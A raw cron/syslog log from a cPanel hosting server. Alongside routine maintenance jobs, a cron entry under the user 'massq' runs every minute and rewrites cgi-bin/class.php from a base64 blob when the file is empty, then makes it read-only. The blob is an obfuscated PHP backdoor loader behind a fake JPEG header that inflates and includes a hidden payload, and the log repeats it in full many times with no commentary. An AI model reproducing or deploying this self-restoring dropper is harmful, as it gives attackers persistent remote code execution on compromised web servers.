Apr  6 23:50:01 server CROND[28477]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 23:50:01 server CROND[28478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:50:01 server CROND[28479]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:50:01 server CROND[28481]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 23:50:01 server CROND[28483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:51:01 server CROND[28595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:52:01 server CROND[28648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:53:01 server CROND[28704]: (root) CMD (/usr/lib64/sa/sa2 -A)
Apr  6 23:53:01 server CROND[28705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:54:01 server CROND[28859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:55:01 server CROND[28935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:55:01 server CROND[28937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:55:01 server CROND[28936]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:56:01 server CROND[29052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:57:01 server CROND[29109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:57:01 server CROND[29110]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 23:58:01 server CROND[29164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:59:02 server CROND[29215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:00:01 server CROND[29313]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 00:00:01 server CROND[29314]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Apr  7 00:00:01 server CROND[29319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:00:01 server CROND[29320]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 00:00:01 server CROND[29321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:00:01 server CROND[29318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 00:01:01 server CROND[29556]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 00:01:01 server CROND[29557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:01:01 server run-parts(/etc/cron.hourly)[29556]: starting 0anacron
Apr  7 00:01:01 server anacron[29569]: Anacron started on 2025-04-07
Apr  7 00:01:01 server anacron[29569]: Normal exit (0 jobs run)
Apr  7 00:01:01 server run-parts(/etc/cron.hourly)[29571]: finished 0anacron
Apr  7 00:02:01 server CROND[29623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
